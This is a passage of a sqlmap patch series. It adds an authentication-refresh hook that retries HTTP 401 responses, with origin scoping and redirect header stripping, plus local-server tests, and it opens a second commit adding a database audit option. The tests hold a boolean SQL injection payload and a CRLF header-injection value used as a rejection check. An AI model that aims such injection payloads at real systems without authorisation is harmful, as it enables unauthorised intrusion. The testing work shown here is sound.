try: + getattr(importlib, "invalidate_caches", lambda: None)() + module = __import__(safeFilepathEncode(filename[:-3])) + function = getattr(module, "refresh", None) + if not inspect.isfunction(function): + raise ValueError("missing function 'refresh()'") + spec = _argSpec(function) + if len(spec.args) > len(spec.defaults or ()) or any(_ not in (getattr(spec, "kwonlydefaults", None) or {}) for _ in getattr(spec, "kwonlyargs", ())): + raise ValueError("function 'refresh()' must be callable without arguments") + except Exception: + raise SqlmapSyntaxException("unable to load 'refresh()' from auth refresh script '%s'" % script) + except (SqlmapFilePathException, SqlmapSyntaxException) as ex: + errMsg = "%s. You can find a template script at '%s'" % (getSafeExString(ex), authrefresh.createTemplate()) + raise type(ex)(errMsg) + + kb.authRefreshFunction = function + def _setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: conf.threads = 1 @@ -2317,9 +2354,13 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"): + for _ in ("authRefresh", "cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() + kb.authRefreshHeaders = {} + kb.authRefreshVersion = 0 + kb.authRefreshFailed = False + kb.matchRatio = None kb.maxConnectionsFlag = False kb.trueLength = None @@ -2427,6 +2468,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.passwordMgr = None kb.postprocessFunctions = [] kb.preprocessFunctions = [] + kb.authRefreshFunction = None kb.skipVulnHost = None kb.storeCrawlingChoice = None kb.tamperFunctions = [] @@ -3171,6 +3213,7 @@ def init(): _setTamperingFunctions() _setPreprocessFunctions() _setPostprocessFunctions() + _setAuthRefreshFunction() _setTrafficOutputFP() _setupHTTPCollector() _setHttpOptions() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 76c6fb82c..afb3a65c8 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -257,8 +257,9 @@ optDict = { "hexConvert": "boolean", "outputDir": "string", "parseErrors": "boolean", - "postprocess": "string", + "authRefresh": "string", "preprocess": "string", + "postprocess": "string", "repair": "boolean", "reportJson": "string", "saveConfig": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 1f7cdcb81..7916afa27 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.9" +VERSION = "1.10.10.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index a16be6042..6acf684ff 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -60,6 +60,7 @@ class _ThreadData(threading.local): self.lastHTTPError = None self.lastRedirectMsg = None self.lastQueryDuration = 0 + self.authRefreshTime = 0 self.lastPage = None self.lastRequestMsg = None self.lastRequestUID = 0 diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index acef3dc04..122e0303c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -748,6 +748,9 @@ def cmdLineParser(argv=None): general.add_argument("--parse-errors", dest="parseErrors", action="store_true", help="Parse and display DBMS error messages from responses") + general.add_argument("--auth-refresh", dest="authRefresh", + help="Run script to refresh auth on HTTP 401") + general.add_argument("--preprocess", dest="preprocess", help="Use given script(s) for preprocessing (request)") diff --git a/lib/request/authrefresh.py b/lib/request/authrefresh.py new file mode 100644 index 000000000..7ccffd9fb --- /dev/null +++ b/lib/request/authrefresh.py @@ -0,0 +1,100 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re +import tempfile + +from lib.core.common import openFile +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapGenericException +from thirdparty import six +from thirdparty.six.moves import urllib as _urllib + + +def createTemplate(): + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.AUTH_REFRESH, suffix=".py") + os.close(handle) + + with openFile(filename, "w+") as f: + f.write("#!/usr/bin/env\n\ndef refresh():\n # Obtain a fresh token here (use a timeout for login requests).\n # Custom headers also work, e.g. {'X-Auth-Token': token}.\n return {'Authorization': 'Bearer '}\n") + with openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+") as f: + f.write("pass") + + return filename + + +def sameOrigin(first, second): + # checkSameHost deliberately ignores schemes and ports, which is unsuitable for credentials. + def origin(url): + parts = _urllib.parse.urlsplit(url) + return parts.scheme.lower(), parts.hostname, parts.port or (443 if parts.scheme.lower() == "https" else 80) + + return origin(first) == origin(second) + + +def apply(req): + """Overlay refreshed headers after preprocess hooks; return the credential generation sent.""" + + if not conf.authRefresh or not sameOrigin(req.get_full_url(), conf.url): + return None + + with kb.locks.authRefresh: + if kb.authRefreshFailed: + raise SqlmapGenericException("authentication refresh failed; cannot continue with expired credentials") + for name, value in kb.authRefreshHeaders.items(): + # Hooks/raw request files can leave differently-cased copies of the same header. + for headers in (req.headers, req.unredirected_hdrs): + for key in list(headers): + if key.lower() == name.lower(): + del headers[key] + req.add_header(name, value) + return kb.authRefreshVersion + + +def refresh(version): + """Refresh once for all workers that sent the same expired credentials.""" + + with kb.locks.authRefresh: + if kb.authRefreshFailed: + raise SqlmapConnectionException("authentication refresh failed; cannot continue with expired credentials") + if version != kb.authRefreshVersion: + return + + logger.info("refreshing authentication after HTTP 401") + try: + headers = kb.authRefreshFunction() + if not isinstance(headers, dict) or not headers: + raise ValueError() + for name, value in headers.items(): + if not isinstance(name, six.string_types) or not re.match(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z", name): + raise ValueError() + if not isinstance(value, six.string_types) or not value or re.search(r"[\x00-\x1f\x7f]", value): + raise ValueError() + value.encode("latin-1") + if name.lower() in ("host", "content-length", "transfer-encoding", "connection", "proxy-authorization"): + raise ValueError() + if len(set(_.lower() for _ in headers)) != len(headers): + raise ValueError() + except Exception: + kb.authRefreshFailed = True + # Hook exceptions can contain tokens/passwords; do not include their text. + raise SqlmapConnectionException("auth refresh hook failed or returned invalid headers. Expected a non-empty dictionary of authentication headers. You can find a template script at '%s'" % createTemplate()) + + kb.authRefreshHeaders = dict(headers) + kb.authRefreshVersion += 1 + + +def stripHeaders(headers): + """Remove refreshed credentials before following a redirect to another origin.""" + + names = set(_.lower() for _ in kb.authRefreshHeaders) + return dict((name, value) for name, value in headers.items() if name.lower() not in names) diff --git a/lib/request/connect.py b/lib/request/connect.py index 455f5ccfc..04fc3f3a4 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -22,6 +22,7 @@ import time import traceback from lib.request import websocket +from lib.request import authrefresh from lib.request.websocket import WebSocketException from lib.core.agent import agent @@ -469,6 +470,8 @@ class Connect(object): responseHeaders = None logHeaders = u"" skipLogTraffic = False + authRetry = False + authVersion = None raise404 = raise404 and not kb.ignoreNotFound @@ -683,6 +686,9 @@ class Connect(object): else: post, headers = req.data, req.headers + authVersion = authrefresh.apply(req) + headers = req.headers + requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()]) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: @@ -730,12 +736,12 @@ class Connect(object): raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)") try: - conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy) + conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy, sensitive_headers=tuple(kb.authRefreshHeaders) if conf.authRefresh else ()) except IOError as ex: raise _http_client.HTTPException(getSafeExString(ex)) else: if conn.code >= 400: - raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read())) + raise _urllib.error.HTTPError(conn.geturl(), conn.code, conn.msg, conn.info(), io.BytesIO(conn.read())) requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1) @@ -863,7 +869,7 @@ class Connect(object): page = None responseHeaders = None - if checking: + if checking and not (ex.code == _http_client.UNAUTHORIZED and authVersion is not None): return None, None, None try: @@ -887,7 +893,8 @@ class Connect(object): code = ex.code status = getUnicode(getattr(ex, "reason", None) or getSafeExString(ex).split(": ", 1)[-1]) - kb.originalCode = kb.originalCode or code + if not (code == _http_client.UNAUTHORIZED and authVersion is not None): + kb.originalCode = kb.originalCode or code threadData.lastHTTPError = (threadData.lastRequestUID, code, status) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 @@ -913,7 +920,15 @@ class Connect(object): singleTimeLogMessage(errMsg, logging.CRITICAL) raise SystemExit - if ex.code not in (conf.ignoreCode or []): + if ex.code == _http_client.UNAUTHORIZED and authVersion is not None and authrefresh.sameOrigin(ex.geturl(), url): + if kwargs.get("authRetried"): + with kb.locks.authRefresh: + if authVersion == kb.authRefreshVersion: + kb.authRefreshFailed = True + raise SqlmapConnectionException("authentication refresh did not authorize the retried request (401)") + authrefresh.refresh(authVersion) + authRetry = True + elif ex.code not in (conf.ignoreCode or []): if ex.code == TOO_MANY_REQUESTS_HTTP_CODE or (ex.code == _http_client.SERVICE_UNAVAILABLE and Connect._parseRetryAfter(responseHeaders) is not None): retried = Connect._rateLimitRetry(responseHeaders, ex.code, **kwargs) if retried is not None: @@ -1099,6 +1114,12 @@ class Connect(object): socket.setdefaulttimeout(conf.timeout) + if authRetry: + # Authentication latency is not evidence of a time-based SQL injection. + threadData.authRefreshTime += calculateDeltaSeconds(start) + kwargs["authRetried"] = True + return Connect.getPage(**kwargs) + # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091) if not sys.version.startswith("3.11."): if conf.retryOn and re.search(conf.retryOn, page or "", re.I): @@ -1751,6 +1772,8 @@ class Connect(object): start = time.time() + authRefreshTime = threadData.authRefreshTime + if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False @@ -1806,7 +1829,7 @@ class Connect(object): return value page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) - threadData.lastQueryDuration = calculateDeltaSeconds(start) + threadData.lastQueryDuration = max(0, calculateDeltaSeconds(start) - (threadData.authRefreshTime - authRefreshTime)) kb.originalCode = code if kb.originalCode is None else kb.originalCode kb.originalPage = page if kb.originalPage is None else kb.originalPage diff --git a/lib/request/http2.py b/lib/request/http2.py index 7b787f90a..fc8ba0fd7 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -1576,7 +1576,7 @@ def proxy_tuple(proxy, cred=None): def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, - max_redirects=10, proxy=None, verify=False, ssl_context=None): + max_redirects=10, proxy=None, verify=False, ssl_context=None, sensitive_headers=()): req_headers = headers or {} current_method = method current_body = body @@ -1614,7 +1614,7 @@ def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redi old_parts = parts new_parts = urlsplit(new_url) if _origin_tuple(old_parts) != _origin_tuple(new_parts): - req_headers = _headers_without(req_headers, _SENSITIVE_REDIRECT_FIELDS) + req_headers = _headers_without(req_headers, _SENSITIVE_REDIRECT_FIELDS.union(_as_bytes(_).lower() for _ in sensitive_headers)) method_bytes = _as_bytes(current_method) change_to_get = status == 303 and method_bytes != b"HEAD" diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 33d498627..32f65f992 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -32,6 +32,7 @@ from lib.core.settings import MAX_TOTAL_REDIRECTIONS from lib.core.threads import getCurrentThreadData from lib.request.basic import decodePage from lib.request.basic import parseResponse +from lib.request import authrefresh from thirdparty import six from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib @@ -176,6 +177,9 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies) try: + if conf.authRefresh and not authrefresh.sameOrigin(req.get_full_url(), redurl): + req.headers = authrefresh.stripHeaders(req.headers) + req.unredirected_hdrs = authrefresh.stripHeaders(req.unredirected_hdrs) result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) except _urllib.error.HTTPError as ex: result = error = ex diff --git a/sqlmap.conf b/sqlmap.conf index 2f7c22d28..742a9d143 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -809,6 +809,9 @@ outputDir = # Valid: True or False parseErrors = False +# Run a Python refresh() script returning replacement headers on HTTP 401. +authRefresh = + # Use given script(s) for preprocessing of request. preprocess = diff --git a/tests/test_authrefresh.py b/tests/test_authrefresh.py new file mode 100644 index 000000000..5aff5d687 --- /dev/null +++ b/tests/test_authrefresh.py @@ -0,0 +1,341 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Authentication refresh hook loading and replay against a local HTTP server. +""" + +import json +import os +import re +import shutil +import socket +import subprocess +import sys +import tempfile +import threading +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb, paths, cmdLineOptions +from lib.core.enums import MKSTEMP_PREFIX, REDIRECTION +from lib.core.exception import SqlmapConnectionException, SqlmapFilePathException, SqlmapSyntaxException +from lib.core.option import _setAuthRefreshFunction, _setKnowledgeBaseAttributes +from lib.core.threads import getCurrentThreadData +from lib.request import authrefresh +from lib.request.connect import Connect +from lib.request.redirecthandler import SmartRedirectHandler +from thirdparty.six.moves import BaseHTTPServer, socketserver +from thirdparty.six.moves import urllib as _urllib + +_GET_PAGE = Connect.__dict__['getPage'] +_QUERY_PAGE = Connect.__dict__['queryPage'] + + +def _assertTemplate(testCase, exception): + match = re.search(r"template script at '([^']+)'", str(exception)) + testCase.assertIsNotNone(match) + path = match.group(1) + try: + testCase.assertTrue(os.path.basename(path).startswith(MKSTEMP_PREFIX.AUTH_REFRESH)) + testCase.assertTrue(os.path.isfile(os.path.join(os.path.dirname(path), '__init__.py'))) + with open(path) as stream: + source = stream.read() + namespace = {} + eval(compile(source, path, 'exec'), namespace) + testCase.assertEqual(namespace['refresh'](), {'Authorization': 'Bearer '}) + testCase.assertNotIn(paths.SQLMAP_EXTRAS_PATH, path) + finally: + os.unlink(path) + + +class _Server(socketserver.ThreadingMixIn, BaseHTTPServer.HTTPServer): + daemon_threads = True + + +class _Handler(BaseHTTPServer.BaseHTTPRequestHandler): + def log_message(self, *args): + pass + + def do_GET(self): + self.do_POST() + + def do_POST(self): + body = self.rfile.read(int(self.headers.get('Content-Length', '0'))) + token = self.headers.get('X-Auth-Token') + if self.path == '/refresh': + self.server.refreshes += 1 + code, body = 200, b'{"token":"fresh"}' + else: + with self.server.lock: + self.server.requests.append((self.path, body, token)) + if token != self.server.token: + self.server.expired += 1 + if self.server.expired >= 2: + self.server.bothExpired.set() + if token != self.server.token and self.server.syncExpired: + self.server.bothExpired.wait(3) + code = 200 if token == self.server.token else 401 + body = b'ok' if code == 200 else b'expired' + self.send_response(302 if self.path == '/redirect' and code == 200 else code) + if self.path == '/redirect' and code == 200: + self.send_header('Location', self.server.redirect) + self.send_header('Content-Type', 'text/plain; charset=utf-8') + self.send_header('Content-Length', str(len(body))) + self.end_headers() + self.wfile.write(body) + + +class TestAuthRefresh(unittest.TestCase): + def setUp(self): + self.conf = dict(conf) + self.cmdLineOptions = dict(cmdLineOptions) + cmdLineOptions.method = None + self.kb = dict(kb) + self.threadData = dict(getCurrentThreadData().__dict__) + getCurrentThreadData().__dict__.clear() + getCurrentThreadData().reset() + self.timeout = socket.getdefaulttimeout() + self.urlopen = _urllib.request.urlopen + # Other engine tests replace these descriptors; use the real methods even when an + # earlier Python 2 fixture restored a bare function instead of a staticmethod. + self.methods = Connect.__dict__['getPage'], Connect.__dict__['queryPage'] + Connect.getPage, Connect.queryPage = _GET_PAGE, _QUERY_PAGE + _setKnowledgeBaseAttributes(False) + kb.wizardMode = True + self.server = _Server(('127.0.0.1', 0), _Handler) + self.server.requests = [] + self.server.refreshes = 0 + self.server.token = 'fresh' + self.server.expired = 0 + self.server.syncExpired = False + self.server.bothExpired = threading.Event() + self.server.lock = threading.Lock() + self.thread = threading.Thread(target=self.server.serve_forever) + self.thread.daemon = True + self.thread.start() + conf.url = 'http://127.0.0.1:%d/test' % self.server.server_port + conf.hostname, conf.scheme, conf.port = '127.0.0.1', 'http', self.server.server_port + conf.path = '/test' + conf.httpHeaders = [('X-Auth-Token', 'expired')] + conf.parameters = {} + conf.data = None + conf.abortCode = [] + conf.ignoreCode = [] + conf.authRefresh = 'test_refresh.py' + conf.batch = True + conf.keepAlive = False + conf.retryOn = None + conf.timeout = 5 + conf.ignoreRedirects = False + conf.scope = None + kb.choices.redirect = REDIRECTION.YES + _urllib.request.urlopen = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), SmartRedirectHandler()).open + + def refresh(): + # A real, application-specific token exchange outside sqlmap's request engine. + response = _urllib.request.urlopen(conf.url.replace('/test', '/refresh'), timeout=3) + try: + return {'X-Auth-Token': json.loads(response.read().decode('ascii'))['token']} + finally: + response.close() + + kb.authRefreshFunction = refresh + + def tearDown(self): + self.server.shutdown() + self.server.server_close() + self.thread.join(5) + _urllib.request.urlopen = self.urlopen + Connect.getPage, Connect.queryPage = self.methods + socket.setdefaulttimeout(self.timeout) + conf.clear() + conf.update(self.conf) + cmdLineOptions.clear() + cmdLineOptions.update(self.cmdLineOptions) + kb.clear() + kb.update(self.kb) + getCurrentThreadData().__dict__.clear() + getCurrentThreadData().__dict__.update(self.threadData) + + def test_expiry_mid_scan_preserves_payload_and_reuses_headers(self): + self.server.token = 'expired' + self.assertEqual(Connect.getPage()[2], 200) + self.assertEqual(self.server.refreshes, 0) + self.server.token = 'fresh' + payload = b'id=1%20AND%201%3D1&other=keep' + self.assertEqual(Connect.getPage(get='marker=123', post=payload)[2], 200) + self.assertEqual(self.server.requests[-2:], [('/test?marker=123', payload, 'expired'), ('/test?marker=123', payload, 'fresh')]) + self.assertEqual(Connect.getPage()[2], 200) + self.assertEqual(self.server.refreshes, 1) + self.assertEqual(getCurrentThreadData().lastCode, 200) + self.assertEqual(getCurrentThreadData().lastPage, 'ok') + self.assertNotEqual(kb.originalCode, 401) + + def test_second_401_stops_after_one_replay(self): + kb.authRefreshFunction = lambda: {'X-Auth-Token': 'still-expired'} + with self.assertRaises(SqlmapConnectionException): + Connect.getPage() + self.assertEqual(len(self.server.requests), 2) + self.assertTrue(kb.authRefreshFailed) + + def test_abort_code_takes_precedence(self): + conf.abortCode = [401] + with self.assertRaises(SystemExit): + Connect.getPage() + self.assertEqual(self.server.refreshes, 0) + self.assertEqual(len(self.server.requests), 1) + + def test_without_option_preserves_401_behavior(self): + conf.authRefresh = None + with self.assertRaises(SqlmapConnectionException): + Connect.getPage() + self.assertEqual(self.server.refreshes, 0) + + def test_concurrent_401s_share_one_refresh(self): + self.server.syncExpired = True + results, errors = [], [] + + def worker(): + try: + results.append(Connect.getPage()[2]) + except Exception as ex: + errors.append(ex) + + workers = [threading.Thread(target=worker) for _ in range(2)] + for workerThread in workers: + workerThread.start() + for workerThread in workers: + workerThread.join(10) + self.assertFalse(workerThread.is_alive()) + self.assertEqual(errors, []) + self.assertEqual(results, [200, 200]) + self.assertEqual(self.server.refreshes, 1) + self.assertEqual(self.server.expired, 2) + + def test_invalid_hook_results_are_rejected_without_leaking_secrets(self): + for result in (None, {}, 'secret-token', {'X-Token': 'secret\r\nInjected: value'}, {'Host': 'elsewhere'}, {'X-Token': 42}, {'X-Token': 'secret', 'x-token': 'other'}): + kb.authRefreshFailed = False + kb.authRefreshFunction = lambda: result + with self.assertRaises(SqlmapConnectionException) as caught: + authrefresh.refresh(0) + self.assertNotIn('secret', str(caught.exception)) + _assertTemplate(self, caught.exception) + self.assertEqual(kb.authRefreshVersion, 0) + + def test_hook_exception_is_sanitized(self): + def refresh(): + raise ValueError('password=secret') + kb.authRefreshFunction = refresh + with self.assertRaises(SqlmapConnectionException) as caught: + Connect.getPage() + self.assertNotIn('secret', str(caught.exception)) + _assertTemplate(self, caught.exception) + self.assertEqual(len(self.server.requests), 1) + + def test_credentials_are_scoped_to_scheme_host_and_port(self): + authrefresh.refresh(0) + for url in ('http://elsewhere/test', 'https://127.0.0.1/test', 'http://127.0.0.1:1/test'): + req = _urllib.request.Request(url) + self.assertIsNone(authrefresh.apply(req)) + self.assertEqual(req.headers, {}) + self.assertTrue(authrefresh.sameOrigin('https://example.com', 'https://example.com:443/path')) + + def test_refresh_overrides_stale_preprocess_headers(self): + kb.preprocessFunctions = [lambda req: req.add_header('X-Auth-Token', 'expired')] + self.assertEqual(Connect.getPage()[2], 200) + self.assertEqual(self.server.refreshes, 1) + + def test_redirect_to_another_port_does_not_receive_refreshed_token(self): + authrefresh.refresh(0) + other = _Server(('127.0.0.1', 0), _Handler) + other.requests, other.token, other.expired = [], None, 0 + other.lock = threading.Lock() + other.syncExpired = False + thread = threading.Thread(target=other.serve_forever) + thread.daemon = True + thread.start() + try: + self.server.redirect = 'http://127.0.0.1:%d/landing' % other.server_port + Connect.getPage(url=conf.url.replace('/test', '/redirect')) + self.assertEqual(other.requests, [('/landing', b'', None)]) + self.assertEqual(self.server.refreshes, 1) + finally: + other.shutdown() + other.server_close() + thread.join(5) + + def test_auth_refresh_latency_is_excluded_from_query_timing(self): + import lib.request.connect as connect + originalPage, originalDelta = Connect.getPage, connect.calculateDeltaSeconds + + def getPage(**kwargs): + getCurrentThreadData().authRefreshTime += 12 + return 'ok', None, 200 + + Connect.getPage = staticmethod(getPage) + connect.calculateDeltaSeconds = lambda start: 15 + try: + Connect.queryPage(content=True) + self.assertEqual(getCurrentThreadData().lastQueryDuration, 3) + finally: + Connect.getPage = staticmethod(originalPage) + connect.calculateDeltaSeconds = originalDelta + + +class TestAuthRefreshLoader(unittest.TestCase): + def setUp(self): + self.directory = tempfile.mkdtemp(prefix='sqlmap-authrefresh-') + self.oldOption = conf.authRefresh + self.oldFunction = kb.authRefreshFunction + self.oldPath = list(sys.path) + + def tearDown(self): + conf.authRefresh = self.oldOption + kb.authRefreshFunction = self.oldFunction + sys.path[:] = self.oldPath + for name in list(sys.modules): + if name.startswith('authrefresh_test_'): + del sys.modules[name] + shutil.rmtree(self.directory) + + def script(self, name, content): + path = os.path.join(self.directory, 'authrefresh_test_%s.py' % name) + with open(path, 'w') as stream: + stream.write(content) + conf.authRefresh = path + + def test_load_does_not_call_refresh(self): + self.script('valid', "def refresh():\n raise AssertionError('must only run on 401')\n") + _setAuthRefreshFunction() + self.assertTrue(callable(kb.authRefreshFunction)) + + def test_missing_invalid_and_empty_scripts_point_to_template(self): + for name, source in (('empty', ''), ('wrong', 'def other():\n pass\n'), ('args', 'def refresh(req):\n pass\n'), ('syntax', 'def refresh(:')): + self.script(name, source) + with self.assertRaises(SqlmapSyntaxException) as caught: + _setAuthRefreshFunction() + _assertTemplate(self, caught.exception) + conf.authRefresh = os.path.join(self.directory, 'missing.py') + with self.assertRaises(SqlmapFilePathException) as caught: + _setAuthRefreshFunction() + _assertTemplate(self, caught.exception) + + def test_help_is_one_line(self): + output = subprocess.check_output([sys.executable, os.path.join(paths.SQLMAP_ROOT_PATH, 'sqlmap.py'), '-hh']) + lines = output.decode('utf-8').splitlines() + matches = [i for i, line in enumerate(lines) if '--auth-refresh' in line] + self.assertEqual(len(matches), 1) + self.assertIn('HTTP 401', lines[matches[0]]) + self.assertLessEqual(len(lines[matches[0]]), 78) + for option in ('--preprocess', '--postprocess'): + self.assertLess(matches[0], next(i for i, line in enumerate(lines) if option in line)) + + +if __name__ == '__main__': + unittest.main() diff --git a/tests/test_configfile.py b/tests/test_configfile.py index 1fbe8a782..5ea9a94fb 100644 --- a/tests/test_configfile.py +++ b/tests/test_configfile.py @@ -114,16 +114,19 @@ class TestConfigFileRoundTrip(unittest.TestCase): conf.url = "http://127.0.0.1:1/?id=1" conf.commonTables = True conf.getLinks = True + conf.authRefresh = "refresh_auth.py" conf.tablePrefix = "zzz" saveConfig(conf, path) conf.url, conf.commonTables, conf.tablePrefix = None, False, "overwritten" conf.getLinks = False + conf.authRefresh = None configFileParser(path) self.assertEqual(conf.url, "http://127.0.0.1:1/?id=1") self.assertTrue(conf.commonTables) self.assertTrue(conf.getLinks) + self.assertEqual(conf.authRefresh, "refresh_auth.py") self.assertEqual(conf.tablePrefix, "zzz") finally: conf.clear() diff --git a/tests/test_http2.py b/tests/test_http2.py index 7ac0b2255..9a2c77309 100644 --- a/tests/test_http2.py +++ b/tests/test_http2.py @@ -699,6 +699,17 @@ class TestRedirectHandling(unittest.TestCase): self.assertEqual(calls[0][1], 8443) self.assertEqual(calls[0][4], "xn--tst-qla.example:8443") + def test_cross_origin_redirect_strips_custom_auth_headers(self): + responses = [(307, [(b"location", b"https://other.test/final")], b""), (200, [], b"ok")] + _, calls = self._run_with_fake_exchange( + responses, url="https://example.test/start", + headers={"X-Auth-Token": "secret", "X-Keep": "yes"}, + sensitive_headers=("X-Auth-Token",), + ) + names = [key.lower() for key, _ in calls[1][5]] + self.assertNotIn("x-auth-token", names) + self.assertIn("x-keep", names) + class TestPoolRetries(unittest.TestCase): class _Connection(object): From d0ad9b2e34af7a3015e45b008d03dd501802142b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 19 Oct 2026 18:34:39 +0200 Subject: [PATCH 013/126] Adding cross-DBMS security configuration audit (--audit) --- .../procs/mssqlserver/audit_configuration.sql | 5 + data/procs/mssqlserver/audit_identity.sql | 11 + data/procs/mssqlserver/audit_links.sql | 6 + data/procs/mssqlserver/audit_permissions.sql | 7 + data/procs/mysql/audit_configuration.sql | 5 + .../mysql/audit_configuration_mariadb.sql | 5 + data/procs/mysql/audit_file_access.sql | 5 + data/procs/mysql/audit_identity.sql | 7 + data/procs/mysql/audit_privileges.sql | 5 + data/procs/oracle/audit_configuration.sql | 5 + data/procs/oracle/audit_directories.sql | 12 + data/procs/oracle/audit_identity.sql | 9 + data/procs/oracle/audit_privileges.sql | 5 + data/procs/postgresql/audit_configuration.sql | 5 + data/procs/postgresql/audit_identity.sql | 7 + data/procs/postgresql/audit_privileges.sql | 7 + lib/controller/action.py | 6 + lib/core/dump.py | 3 + lib/core/enums.py | 1 + lib/core/optiondict.py | 1 + lib/core/settings.py | 5 +- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/techniques/union/use.py | 7 +- plugins/dbms/mssqlserver/audit.py | 53 ++++ plugins/dbms/mysql/audit.py | 44 +++ plugins/dbms/oracle/audit.py | 23 ++ plugins/dbms/postgresql/audit.py | 33 +++ plugins/generic/audit.py | 113 ++++++++ plugins/generic/databases.py | 13 + sqlmap.conf | 4 + tests/integration/audit/Dockerfile | 5 + tests/integration/audit/README.md | 42 +++ tests/integration/audit/compose.yml | 82 ++++++ tests/integration/audit/db.py | 27 ++ tests/integration/audit/probe.py | 12 + tests/integration/audit/run.py | 266 ++++++++++++++++++ tests/integration/audit/seed.py | 73 +++++ tests/integration/audit/server.py | 35 +++ tests/test_audit.py | 244 ++++++++++++++++ tests/test_configfile.py | 3 + tests/test_dump_format.py | 6 + tests/test_union_engine.py | 28 ++ 43 files changed, 1236 insertions(+), 3 deletions(-) create mode 100644 data/procs/mssqlserver/audit_configuration.sql create mode 100644 data/procs/mssqlserver/audit_identity.sql create mode 100644 data/procs/mssqlserver/audit_links.sql create mode 100644 data/procs/mssqlserver/audit_permissions.sql create mode 100644 data/procs/mysql/audit_configuration.sql create mode 100644 data/procs/mysql/audit_configuration_mariadb.sql create mode 100644 data/procs/mysql/audit_file_access.sql create mode 100644 data/procs/mysql/audit_identity.sql create mode 100644 data/procs/mysql/audit_privileges.sql create mode 100644 data/procs/oracle/audit_configuration.sql create mode 100644 data/procs/oracle/audit_directories.sql create mode 100644 data/procs/oracle/audit_identity.sql create mode 100644 data/procs/oracle/audit_privileges.sql create mode 100644 data/procs/postgresql/audit_configuration.sql create mode 100644 data/procs/postgresql/audit_identity.sql create mode 100644 data/procs/postgresql/audit_privileges.sql create mode 100644 plugins/dbms/mssqlserver/audit.py create mode 100644 plugins/dbms/mysql/audit.py create mode 100644 plugins/dbms/oracle/audit.py create mode 100644 plugins/dbms/postgresql/audit.py create mode 100644 plugins/generic/audit.py create mode 100644 tests/integration/audit/Dockerfile create mode 100644 tests/integration/audit/README.md create mode 100644 tests/integration/audit/compose.yml create mode 100644 